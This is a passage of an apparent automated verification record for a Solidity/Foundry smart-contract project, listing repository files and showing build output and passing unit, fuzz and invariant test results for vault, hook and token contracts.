s/local-pledge.png\":332,\"foundry.toml\":21,\"launch.json\":33,\"remappings.txt\":4,\"script/LocalDemo.s.sol\":111,\"scripts/launch/.gitignore\":2,\"scripts/launch/README.md\":61,\"scripts/launch/launch.mjs\":474,\"scripts/launch/package-lock.json\":248,\"scripts/launch/package.json\":14,\"src/KeptHook.sol\":212,\"src/KeptToken.sol\":60,\"src/KeptVault.sol\":664,\"src/OracleAttestation.sol\":239,\"src/interfaces/IIntake.sol\":18,\"src/libraries/HookFlags.sol\":30,\"src/libraries/Questions.sol\":250,\"src/libraries/SpecifiedAmount.sol\":101,\"test/KeptHook.t.sol\":243,\"test/KeptHookLaunch.t.sol\":120,\"test/KeptToken.t.sol\":89,\"test/KeptVault.t.sol\":639,\"test/KeptVaultActorsInvariant.t.sol\":492,\"test/KeptVaultAudit.t.sol\":243,\"test/KeptVaultFailurePaths.t.sol\":642,\"test/KeptVaultLaunch.t.sol\":100,\"test/KeptVaultTokenCompatibility.t.sol\":49,\"test/OracleConformance.t.sol\":119,\"test/RealAttestation.t.sol\":66,\"test/VaultInvariant.t.sol\":228,\"test/fork/Robinhood.t.sol\":170,\"test/helpers/HookFixture.sol\":171,\"test/helpers/TestRouter.sol\":70,\"test/helpers/VaultFixture.sol\":190,\"test/mocks/FeeToken.sol\":27,\"test/mocks/MockERC20.sol\":58,\"test/mocks/MockIntake.sol\":64,\"vercel.json\":20,\"web/README.md\":76,\"web/index.html\":19,\"web/package-lock.json\":1015,\"web/package.json\":18,\"web/public/apple-touch-icon.png\":8,\"web/public/favicon-32.png\":4,\"web/public/favicon.svg\":5,\"web/public/icon-512.png\":8,\"web/src/abi/KeptHook.json\":658,\"web/src/abi/KeptToken.json\":244,\"web/src/abi/KeptVault.json\":1940,\"web/src/chain.js\":335,\"web/src/config.js\":30,\"web/src/dom.js\":84,\"web/src/fx.js\":325,\"web/src/hero.js\":149,\"web/src/icons.js\":42,\"web/src/main.js\":1410,\"web/src/store.js\":88,\"web/src/styles.css\":772,\"web/src/swarm.js\":586,\"web/src/ui.js\":219,\"web/vite.config.js\":42},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"adbe371a9bf3c565de8fb0aab94b263f39d65deeaf5075ce0a292eb2787e0fdd","verifiedTreeHash":"79c314651d852fdea83ed3bd4b857f4d1cf9bddd","verifierVersion":"0.1.0+745c1db4"},{"checks":[{"durationMs":111219,"exitCode":0,"name":"build","output":"Compiling 123 files with Solc 0.8.26\nSolc 0.8.26 finished in 111.11s\nCompiler run successful!\n","passed":true},{"durationMs":11941,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RealAttestation.t.sol:RealAttestationTest\n[PASS] test_liveSignatureRecoversTheLiveSigner() (gas: 12095)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 444.45µs (331.29µs CPU time)\n\nRan 1 test for test/fork/Robinhood.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 720.21µs (0.00ns CPU time)\n\nRan 2 tests for test/KeptVaultTokenCompatibility.t.sol:KeptVaultTokenCompatibilityTest\n[PASS] test_standardTokenSharedPledgesSettleAndRefundIndependently() (gas: 1956008)\n[PASS] test_unsupportedBalanceShrinkCanStrandLastTrancheAndBudget() (gas: 1167841)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 5.41ms (1.77ms CPU time)\n\nRan 1 test for test/KeptVaultActorsInvariant.t.sol:ActorsHandlerReachTest\n[PASS] test_handlerReachesEveryPath() (gas: 5595952)\nLogs:\n  Bound result 2\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 7200\n  Bound result 500000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 42\n  Bound result 259200\n  Bound result 259200\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.73ms (5.14ms CPU time)\n\nRan 43 tests for test/KeptVault.t.sol:KeptVaultTest\n[PASS] test_attestationCannotBeReplayedOnAnotherCheck() (gas: 1726979)\n[PASS] test_callbackOnlyFromIntake() (gas: 1254102)\n[PASS] test_callbackRejectsExpiredAttestation() (gas: 1264729)\n[PASS] test_callbackRejectsUnknownRequest() (gas: 1254900)\n[PASS] test_callbackRejectsWeakOrMismatchedAttestations() (gas: 1991894)\n[PASS] test_callbackRejectsWrongAnswerType() (gas: 1289194)\n[PASS] test_callbackRejectsWrongSigner() (gas: 1270836)\n[PASS] test_chainEvidenceAcceptsDeployerSettledVerdict() (gas: 1240396)\n[PASS] test_checkNeedsBudget() (gas: 1237961)\n[PASS] test_checkOpenReportsBudget() (gas: 543071)\n[PASS] test_checkPaysIntakeFromBudget() (gas: 1267661)\n[PASS] test_checkRejectsIntakeThatDoesNotPull() (gas: 1014807)\n[PASS] test_checkRejectsRepeatedRequestId() (gas: 1697655)\n[PASS] test_createPullsTokensAndBudget() (gas: 477341)\n[PASS] test_createRejectsBadQuestionStrings() (gas: 2756885)\n[PASS] test_createRejectsTaxedToken() (gas: 1114020)\n[PASS] test_createValidatesMilestones() (gas: 704836)\n[PASS] test_createValidatesPledge() (gas: 192120)\n[PASS] test_falseVerdictKeepsMilestoneOpen() (gas: 1861435)\n[PASS] test_inFlightCheckStaysBoundToItsIntake() (gas: 1486471)\n[PASS] test_isoDate() (gas: 41366)\n[PASS] test_keptPaysBeneficiaryAndReturnsBudget() (gas: 1528583)\n[PASS] test_keptRebatesFromRefereeFund() (gas: 1579314)\n[PASS] test_multiMilestoneMixedOutcomes() (gas: 3152001)\n[PASS] test_newChecksUseTheRotatedSigner() (gas: 1529920)\n[PASS] test_noRebateWhenFundIsShort() (gas: 1424042)\n[PASS] test_oneCheckInFlight() (gas: 1172688)\n[PASS] test_onlyBeneficiaryChecksBeforeDeadline() (gas: 1177243)\n[PASS] test_onlyBeneficiaryChecksEvenAfterDeadline() (gas: 1264896)\n[PASS] test_ownerHasNoPathToLockedTokens() (gas: 540546)\n[PASS] test_panelChangeOnlyAffectsNewPledges() (gas: 871407)\n[PASS] test_panelEvidenceNeedsQuorumAgreement() (gas: 1286460)\n[PASS] test_protocolChangeWaitsSevenDays() (gas: 224290)\n[PASS] test_questionBodies() (gas: 68804)\n[PASS] test_questionOfMatchesPreview() (gas: 496487)\n[PASS] test_settleBurnsAfterStaleLastCheck() (gas: 1368568)\n[PASS] test_settleTwiceReverts() (gas: 528241)\n[PASS] test_settleWaitsForCheckInFlight() (gas: 1450907)\n[PASS] test_signerRotationDoesNotStrandChecksInFlight() (gas: 1496054)\n[PASS] test_staleCheckRetriesAndAttemptsCap() (gas: 1744575)\n[PASS] test_unprovenMilestoneBurns() (gas: 644737)\n[PASS] test_valueTemplateRejectsZeroThreshold() (gas: 195184)\n[PASS] test_withdrawBudgetOnlyWhenFinished() (gas: 844312)\nSuite result: ok. 43 passed; 0 failed; 0 skipped; finished in 107.71ms (23.54ms CPU time)\n\nRan 21 tests for test/KeptHookFailurePaths.t.sol:KeptHookFailurePathsTokenFirstTest\n[PASS] testFuzz_feeNowMonotoneAndBounded(uint32,uint32) (runs: 256, μ: 431732, ~: 431745)\nLogs:\n  Bound result 1741\n  Bound result 7810\n\n[PASS] test_beforeInitializeRejectsAKeyNamingAnotherHook() (gas: 101154)\n[PASS] test_constructorRejectsAddressesWithOtherFlags() (gas: 159681)\n[PASS] test_constructorRejectsZeroManagerIMDOrToken() (gas: 10877)\n[PASS] test_emptySweepIsANoOp() (gas: 92408)\n[PASS] test_factoryCannotInitializeASecondPool() (gas: 79960)\n[PASS] test_hookRefusesNativeValue() (gas: 37108)\n[PASS] test_hugeRequestsAreChargedOnWhatFills() (gas: 1168988)\n[PASS] test_initializeRejectsAPairWithoutIMD() (gas: 680786)\n[PASS] test_initializeRejectsAPairWithoutKept() (gas: 680875)\n[PASS] test_initializeRejectsDynamicFee() (gas: 112709)\n[PASS] test_initializeRejectsNativeAgainstKept() (gas: 112874)\n[PASS] test_initializeRejectsWrongFee() (gas: 112707)\n[PASS] test_initializeRejectsWrongTickSpacing() (gas: 113170)\n[PASS] test_keptSentToTheHookIsNotCountedAsIMD() (gas: 132050)\n[PASS] test_noAdminOrUpgradeSurface() (gas: 171942)\n[PASS] test_repeatedSweepsNeverPayTwice() (gas: 711333)\n[PASS] test_strangerCannotFrontRunTheFactoryInitialize() (gas: 277259)\n[PASS] test_unlockCallbackOutsideASweepReverts() (gas: 37093)\n[PASS] test_wrongSidePriceLimitReverts() (gas: 86437)\n[PASS] test_zeroAmountSwapReverts() (gas: 70394)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 148.03ms (116.32ms CPU time)\n\nRan 5 tests for test/KeptHookLaunch.t.sol:KeptHookLaunchTest\n[PASS] test_constructorsRejectNativeValue() (gas: 44461848)\n[PASS] test_hookDeploysOnAnEmptyChainWithLaunchArguments() (gas: 46643891)\n[PASS] test_hookRefusesAnAddressWithoutItsPermissionBits() (gas: 1074331)\n[PASS] test_runtimesFitAndHaveNoForbiddenOpcodes() (gas: 71769639)\n[PASS] test_tokenMintsTheWholeSupplyToItsDeployer() (gas: 25482)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 154.79ms (127.09ms CPU time)\n\nRan 14 tests for test/KeptVaultAudit.t.sol:KeptVaultAuditTest\n[PASS] testFuzz_explicitPriceLimit(uint96,uint96) (runs: 256, μ: 887470, ~: 589240)\nLogs:\n  Bound result 17462\n  Bound result 20709\n\n[PASS] testFuzz_snapshotCheckClosesAtDeadline(uint8,uint32) (runs: 256, μ: 717324, ~: 704682)\nLogs:\n  Bound result 3\n  Bound result 3\n\n[PASS] testFuzz_snapshotRejectsVerdictIssuedAfterDeadline(uint8,uint32) (runs: 256, μ: 1556990, ~: 1563568)\nLogs:\n  Bound result 3\n  Bound result 20709\n\n[PASS] testFuzz_snapshotSignedAtDeadlineCanArriveLater(uint8,uint32) (runs: 256, μ: 1580042, ~: 1586605)\nLogs:\n  Bound result 3\n  Bound result 3\n\n[PASS] test_checkOpenDistinguishesDefaultAndExplicitPriceCaps() (gas: 505594)\n[PASS] test_creatorCanCheckWhenAlsoBeneficiary() (gas: 1404603)\n[PASS] test_creatorCannotExhaustBeneficiaryAttempts() (gas: 1591611)\n[PASS] test_creatorCannotUseExplicitPriceCheckOrClearStaleAsSideEffect() (gas: 1243379)\n[PASS] test_defaultPriceCapRejectsRepricedIntake() (gas: 588079)\n[PASS] test_defaultPriceCapSurvivesTimelockedIntakeReplacement() (gas: 1376226)\n[PASS] test_explicitCapCanAcceptNewPriceAndRebateActualPrice() (gas: 1507048)\n[PASS] test_githubPublicationDeadlineStillAllowsGraceCheck() (gas: 1443934)\n[PASS] test_priceCapFailureDoesNotClearStaleCheck() (gas: 1282371)\n[PASS] test_zeroQuoteRemainsInvalidEvenWithExplicitCap() (gas: 497017)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 154.89ms (295.29ms CPU time)\n\nRan 5 tests for test/KeptToken.t.sol:KeptTokenTest\n[PASS] testFuzz_transferConservesSupply(uint256) (runs: 256, μ: 80300, ~: 80716)\nLogs:\n  Bound result 222904432822423753118567532\n\n[PASS] test_approveAndTransferFrom() (gas: 325364)\n[PASS] test_metadataAndSupply() (gas: 54335)\n[PASS] test_noAdminSurface() (gas: 146892)\n[PASS] test_transfer() (gas: 143301)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 154.95ms (155.32ms CPU time)\n\nRan 19 tests for test/KeptHook.t.sol:KeptHookTokenFirstTest\n[PASS] testFuzz_crossTicks(bool,bool,uint96,uint16) (runs: 256, μ: 1263321, ~: 1265677)\nLogs:\n  Bound result 1427\n  Bound result 899000000500000000000000000\n\n[PASS] testFuzz_dustSwapsAlwaysPay(bool,bool,uint16,uint16) (runs: 256, μ: 711408, ~: 710910)\nLogs:\n  Bound result 10\n  Bound result 14\n\n[PASS] testFuzz_feeAndPartialFills(bool,bool,uint96,uint32,bool) (runs: 256, μ: 718348, ~: 719896)\nLogs:\n  Bound result 2701\n  Bound result 905618455\n\n[PASS] test_allModesAtOpeningMidpointAndAfter() (gas: 6094946)\n[PASS] test_callbacksOnlyManager() (gas: 120264)\n[PASS] test_constructorArgumentsInLaunchOrder() (gas: 56338)\n[PASS] test_constructorRejectsBadConfig() (gas: 10850)\n[PASS] test_dustSwapsRoundTheFeeUp() (gas: 3959276)\n[PASS] test_feeSchedule() (gas: 3379415)\n[PASS] test_noLiquidityNoFee() (gas: 207930)\n[PASS] test_onlyFactoryInitializes() (gas: 246570)\n[PASS] test_onlyOnePoolEver() (gas: 45867)\n[PASS] test_openingClockNeedsAnIMDLeg() (gas: 851731)\n[PASS] test_openingClockStartsAtFirstSwapNotInitialize() (gas: 1055157)\n[PASS] test_partialFillsAllModes() (gas: 2866439)\n[PASS] test_permissionBits() (gas: 5954)\n[PASS] test_sweepDuringUnlockDefers() (gas: 592854)\n[PASS] test_sweepFundsTheReferee() (gas: 1235363)\n[PASS] test_sweepIncludesDirectDonations() (gas: 178033)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 154.97ms (414.87ms CPU time)\n\nRan 3 tests for test/KeptVaultLaunch.t.sol:KeptVaultLaunchTest\n[PASS] test_constructorRejectsNativeValue() (gas: 2066681)\n[PASS] test_exactLaunchArgumentsDeployOnEmptyChainWithoutInitialization() (gas: 6852797)\n[PASS] test_runtimeFitsAndHasNoForbiddenOpcodes() (gas: 31002565)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 202.69ms (61.89ms CPU time)\n\nRan 33 tests for test/KeptVaultFailurePaths.t.sol:KeptVaultFailurePathsTest\n[PASS] testFuzz_setPanelAcceptsExactlyAStrictMajority(uint16,uint16) (runs: 1000, μ: 58854, ~: 58236)\nLogs:\n  Bound result 104\n  Bound result 106\n\n[PASS] testFuzz_settlementSplitsExactly(uint8,uint256,uint96) (runs: 500, μ: 3444101, ~: 2936184)\nLogs:\n  Bound result 1\n  Bound result 40151834615473879\n\n[PASS] test_adminFunctionsAreOwnerOnly() (gas: 95606)\n[PASS] test_attackerIntakeCannotDeliver() (gas: 1948716)\n[PASS] test_attestationIssuedTooFarInTheFutureIsRefused() (gas: 1383449)\n[PASS] test_cancelAndExecuteNeedAPendingChange() (gas: 247717)\n[PASS] test_checkRefusedOnceKeptOrSettled() (gas: 1719481)\n[PASS] test_checkUnknownPledgeOrMilestone() (gas: 585394)\n[PASS] test_clearStaleFailurePathsAndBoundary() (gas: 1518075)\n[PASS] test_constructorPanelEdges() (gas: 13400)\n[PASS] test_constructorRejectsMissingAddresses() (gas: 11494)\n[PASS] test_creatorWithoutAllowanceCannotCreate() (gas: 366975)\n[PASS] test_duplicateDeliveryIsRefused() (gas: 1455648)\n[PASS] test_emptyAndMalleatedSignaturesAreRefused() (gas: 1451766)\n[PASS] test_expiryBeforeIssueIsRefused() (gas: 1288289)\n[PASS] test_fundFailurePaths() (gas: 621946)\n[PASS] test_imdAsPledgeTokenStaysApartFromBudgets() (gas: 1583377)\n[PASS] test_keptSettlementByAnyoneAlwaysPaysTheBeneficiary() (gas: 1423159)\n[PASS] test_lateAnswerAfterBurnIsRefused() (gas: 1370427)\n[PASS] test_noThenKeptPaysOutAndRebatesOnlyTheKeptCheck() (gas: 2019343)\n[PASS] test_ownerHandoverMovesTheRole() (gas: 104374)\n[PASS] test_pledgesAreIsolated() (gas: 2701013)\n[PASS] test_proposeRejectsZeroFields() (gas: 92190)\n[PASS] test_reentrantTokenCannotReenterSettle() (gas: 2945041)\n[PASS] test_renouncedOwnerCannotAdminister() (gas: 114808)\n[PASS] test_reproposalRestartsTheDelayAndExecutesOnce() (gas: 264436)\n[PASS] test_retiredIntakeCannotAnswerTheNewIntakesRequests() (gas: 2209969)\n[PASS] test_settleBoundaryIsStrictlyAfterGrace() (gas: 590082)\n[PASS] test_signatureForAnotherVaultIsRefused() (gas: 1284780)\n[PASS] test_threeNoVerdictsExhaustAttempts() (gas: 2583960)\n[PASS] test_withdrawUnknownPledgeAndEmptyBudget() (gas: 474327)\n[PASS] test_worstCaseCallbackFitsTheStipend() (gas: 4485373)\n[PASS] test_zeroQuoteRefusesCheckAndSpendsNothing() (gas: 547095)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 202.73ms (219.58ms CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] test_acceptsTheProtocolSignature() (gas: 20019)\n[PASS] test_callbackSelectorIsCanonical() (gas: 3543)\n[PASS] test_digestMatchesTheProtocol() (gas: 13531)\n[PASS] test_keptVerdictFromTheVectorKey() (gas: 1339588)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 203.97ms (1.04ms CPU time)\n\nRan 21 tests for test/KeptHookFailurePaths.t.sol:KeptHookFailurePathsTest\n[PASS] testFuzz_feeNowMonotoneAndBounded(uint32,uint32) (runs: 1000, μ: 442775, ~: 442784)\nLogs:\n  Bound result 1181\n  Bound result 18880\n\n[PASS] test_beforeInitializeRejectsAKeyNamingAnotherHook() (gas: 100872)\n[PASS] test_constructorRejectsAddressesWithOtherFlags() (gas: 159681)\n[PASS] test_constructorRejectsZeroManagerIMDOrToken() (gas: 10877)\n[PASS] test_emptySweepIsANoOp() (gas: 92408)\n[PASS] test_factoryCannotInitializeASecondPool() (gas: 79504)\n[PASS] test_hookRefusesNativeValue() (gas: 37108)\n[PASS] test_hugeRequestsAreChargedOnWhatFills() (gas: 1179610)\n[PASS] test_initializeRejectsAPairWithoutIMD() (gas: 680786)\n[PASS] test_initializeRejectsAPairWithoutKept() (gas: 680664)\n[PASS] test_initializeRejectsDynamicFee() (gas: 112427)\n[PASS] test_initializeRejectsNativeAgainstKept() (gas: 112874)\n[PASS] test_initializeRejectsWrongFee() (gas: 112425)\n[PASS] test_initializeRejectsWrongTickSpacing() (gas: 112888)\n[PASS] test_keptSentToTheHookIsNotCountedAsIMD() (gas: 132050)\n[PASS] test_noAdminOrUpgradeSurface() (gas: 171942)\n[PASS] test_repeatedSweepsNeverPayTwice() (gas: 722372)\n[PASS] test_strangerCannotFrontRunTheFactoryInitialize() (gas: 276293)\n[PASS] test_unlockCallbackOutsideASweepReverts() (gas: 37093)\n[PASS] test_wrongSidePriceLimitReverts() (gas: 86165)\n[PASS] test_zeroAmountSwapReverts() (gas: 70135)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 204.14ms (203.07ms CPU time)\n\nRan 19 tests for test/KeptHook.t.sol:KeptHookTest\n[PASS] testFuzz_crossTicks(bool,bool,uint96,uint16) (runs: 256, μ: 1272258, ~: 1241943)\nLogs:\n  Bound result 1095\n  Bound result 899000000000000000000000562\n\n[PASS] testFuzz_dustSwapsAlwaysPay(bool,bool,uint16,uint16) (runs: 256, μ: 722953, ~: 723116)\nLogs:\n  Bound result 10\n  Bound result 14\n\n[PASS] testFuzz_feeAndPartialFills(bool,bool,uint96,uint32,bool) (runs: 256, μ: 728979, ~: 727728)\nLogs:\n  Bound result 30\n  Bound result 139300581170469283000006\n\n[PASS] test_allModesAtOpeningMidpointAndAfter() (gas: 6091571)\n[PASS] test_callbacksOnlyManager() (gas: 119549)\n[PASS] test_constructorArgumentsInLaunchOrder() (gas: 56338)\n[PASS] test_constructorRejectsBadConfig() (gas: 10850)\n[PASS] test_dustSwapsRoundTheFeeUp() (gas: 3977497)\n[PASS] test_feeSchedule() (gas: 3390447)\n[PASS] test_noLiquidityNoFee() (gas: 216704)\n[PASS] test_onlyFactoryInitializes() (gas: 245832)\n[PASS] test_onlyOnePoolEver() (gas: 45639)\n[PASS] test_openingClockNeedsAnIMDLeg() (gas: 854602)\n[PASS] test_openingClockStartsAtFirstSwapNotInitialize() (gas: 1070370)\n[PASS] test_partialFillsAllModes() (gas: 2874027)\n[PASS] test_permissionBits() (gas: 5954)\n[PASS] test_sweepDuringUnlockDefers() (gas: 603658)\n[PASS] test_sweepFundsTheReferee() (gas: 1240660)\n[PASS] test_sweepIncludesDirectDonations() (gas: 178033)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 204.07ms (516.96ms CPU time)\n\nRan 1 test for test/KeptHookInvariant.t.sol:KeptHookInvariantTest\n[PASS]\nKeptHookInvariantTest invariants:\n[PASS] invariant_clockOpensOnceAndFeeNeverRises\n[PASS] invariant_everySweptWeiReachesTheRefereeFund\n[PASS] invariant_feeIsExactAndOnlyOnIMD\n[PASS] invariant_holdingsEqualChargedPlusDonatedMinusSwept\n[PASS] invariant_supplyFixedAndManagerSolvent\n KeptHookInvariantTest invariants (runs: 64, calls: 4096, reverts: 0)\n\n╭-----------------+-------------------+-------+---------+----------╮\n| Contract        | Selector          | Calls | Reverts | Discards |\n+==================================================================+\n| KeptHookHandler | donate            | 510   | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | liquidity         | 515   | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | swap              | 1531  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | sweep             | 477   | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | sweepDuringUnlock | 514   | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | wait              | 549   | 0       | 0        |\n╰-----------------+-------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 544\n  Bound result 2989\n  Bound result 772991514254535184079156\n  Bound result 589854295\n  Bound result 40\n  Bound result 455\n  Bound result 500000000000000000\n  Bound result 89\n  Bound result 5000000000000000000\n  Bound result 50000000000000000000\n  Bound result 634\n  Bound result 9999999000000001360013446\n  Bound result 240\n  Bound result 228\n  Bound result 3\n  Bound result 11406\n  Bound result 114\n  Bound result 95\n  Bound result 42161\n  Bound result 14551\n  Bound result 1626\n  Bound result 16804\n  Bound result 777600\n  Bound result 770\n  Bound result 4878\n  Bound result 405\n  Bound result 259200\n  Bound result 5388\n  Bound result 9999999000000000000000031\n  Bound result 569599242\n  Bound result 5950\n  Bound result 1050\n  Bound result 584\n  Bound result 230\n  Bound result 8392\n  Bound result 9020\n  Bound result 3023894072470910291972479\n  Bound result 9999999000000000000014118\n  Bound result 384\n  Bound result 95\n  Bound result 2551211144468712854404323\n  Bound result 2517\n  Bound result 4525\n  Bound result 27\n  Bound result 826\n  Bound result 16384\n  Bound result 609\n  Bound result 5951\n  Bound result 22882339039689611646\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.40s (1.39s CPU time)\n\nRan 2 tests for test/KeptTokenInvariant.t.sol:KeptTokenInvariantTest\n[PASS]\nKeptTokenInvariantTest invariants:\n[PASS] invariant_balancesSumToTheFixedSupply\n[PASS] invariant_callsBehaveAndAllowancesTrack\n KeptTokenInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭------------------+--------------+-------+---------+----------╮\n| Contract         | Selector     | Calls | Reverts | Discards |\n+==============================================================+\n| KeptTokenHandler | approve      | 2726  | 0       | 0        |\n|------------------+--------------+-------+---------+----------|\n| KeptTokenHandler | transfer     | 2767  | 0       | 0        |\n|------------------+--------------+-------+---------+----------|\n| KeptTokenHandler | transferFrom | 2699  | 0       | 0        |\n╰------------------+--------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 0\n  Bound result 42161\n  Bound result 5739\n  Bound result 0\n  Bound result 6047\n  Bound result 0\n  Bound result 4\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 0\n  Bound result 0\n  Bound result 0\n  Bound result 0\n  Bound result 0\n  Bound result 1\n  Bound result 0\n  Bound result 1\n  Bound result 96\n  Bound result 181142642928187036134382749\n  Bound result 1\n  Bound result 1\n  Bound result 0\n  Bound result 1\n  Bound result 0\n  Bound result 1\n  Bound result 203614156193460916437832334\n  Bound result 5675\n  Bound result 0\n  Bound result 1198860258365488627696226\n  Bound result 1385\n  Bound result 4102444799\n  Bound result 2422\n  Bound result 1\n  Bound result 1\n  Bound result 2514000705\n  Bound result 0\n  Bound result 185543375226156334248660969\n  Bound result 2060\n  Bound result 115\n  Bound result 1793318400\n  Bound result 1\n\n[PASS] test_failurePaths() (gas: 322669)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.46s (1.46s CPU time)\n\nRan 1 test for test/KeptVaultActorsInvariant.t.sol:KeptVaultActorsInvariantTest\n[PASS]\nKeptVaultActorsInvariantTest invariants:\n[PASS] invariant_imdConserved\n[PASS] invariant_openCountMatches\n[PASS] invariant_rulesHold\n[PASS] invariant_teamTokensConserved\n KeptVaultActorsInvariantTest invariants (runs: 64, calls: 6400, reverts: 0)\n\n╭---------------+----------+-------+---------+----------╮\n| Contract      | Selector | Calls | Reverts | Discards |\n+=======================================================+\n| ActorsHandler | answer   | 596   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | check    | 565   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | clear    | 605   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | create   | 582   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | donate   | 599   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | fund     | 553   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | reprice  | 562   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | rotate   | 585   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | settle   | 583   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | wait     | 552   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | withdraw | 618   | 0       | 0        |\n╰---------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 700000000000008196\n  Bound result 1766\n  Bound result 21017\n  Bound result 40\n  Bound result 3\n  Bound result 860913\n  Bound result 20468\n  Bound result 860913\n  Bound result 20468\n  Bound result 860913\n  Bound result 20468\n  Bound result 12730\n  Bound result 15984\n  Bound result 1\n  Bound result 12974\n  Bound result 1\n  Bound result 700000000000003810\n  Bound result 10241\n  Bound result 2\n  Bound result 816269\n  Bound result 936639506749596635244289\n  Bound result 816269\n  Bound result 936639506749596635244289\n  Bound result 8018\n  Bound result 700000000000016128\n  Bound result 700000000000016209\n  Bound result 1\n  Bound result 860473\n  Bound result 834608682242094266405572\n  Bound result 1904081839772479143\n  Bound result 2\n  Bound result 2\n  Bound result 259200\n  Bound result 1\n  Bound result 84154\n  Bound result 1519338577213101\n  Bound result 1943390248827724407\n  Bound result 700000000000009351\n  Bound result 3\n  Bound result 4\n  Bound result 1488\n  Bound result 4\n  Bound result 1\n  Bound result 2827\n  Bound result 2\n  Bound result 4\n  Bound result 860541\n  Bound result 3602\n  Bound result 860541\n  Bound result 3602\n  Bound result 860541\n  Bound result 3602\n  Bound result 860541\n  Bound result 3602\n  Bound result 1440\n  Bound result 3\n  Bound result 862449\n  Bound result 6958\n  Bound result 862449\n  Bound result 6958\n  Bound result 862449\n  Bound result 6958\n  Bound result 1481575975\n  Bound result 6\n  Bound result 166\n  Bound result 13351\n  Bound result 3126\n  Bound result 6\n  Bound result 2\n  Bound result 3\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 1243377696693487047\n  Bound result 2\n  Bound result 7\n  Bound result 1\n  Bound result 5688\n  Bound result 6\n  Bound result 12405\n  Bound result 3\n  Bound result 1\n  Bound result 5\n  Bound result 2\n  Bound result 1\n  Bound result 16357\n  Bound result 700000000000015284\n  Bound result 1\n  Bound result 3\n  Bound result 13084\n  Bound result 4680\n  Bound result 13084\n  Bound result 4680\n  Bound result 13084\n  Bound result 4680\n  Bound result 20653\n  Bound result 5\n  Bound result 3192\n  Bound result 700000000000005508\n  Bound result 28800\n  Bound result 4\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 372815452998599942\n  Bound result 4\n  Bound result 8\n  Bound result 5\n  Bound result 1\n  Bound result 5309\n  Bound result 8187\n  Bound result 1499\n  Bound result 700000000000015283\n  Bound result 8\n  Bound result 15067\n  Bound result 42\n  Bound result 5\n  Bound result 1\n  Bound result 10284\n  Bound result 3\n  Bound result 47\n  Bound result 2\n  Bound result 5643657678917\n  Bound result 2\n  Bound result 4\n  Bound result 860761\n  Bound result 15230\n  Bound result 860761\n  Bound result 15230\n  Bound result 860761\n  Bound result 15230\n  Bound result 860761\n  Bound result 15230\n  Bound result 1935\n  Bound result 4\n  Bound result 6\n  Bound result 10245\n  Bound result 244\n  Bound result 8\n  Bound result 4\n  Bound result 27\n  Bound result 778688601196426389\n  Bound result 10\n  Bound result 7028\n  Bound result 462264962493921475\n  Bound result 8\n  Bound result 3\n  Bound result 8\n  Bound result 616684279554989\n  Bound result 1149634294\n  Bound result 2\n  Bound result 860502\n  Bound result 5463665239773934742\n  Bound result 860502\n  Bound result 5463665239773934742\n  Bound result 15888\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.79s (5.78s CPU time)\n\nRan 1 test for 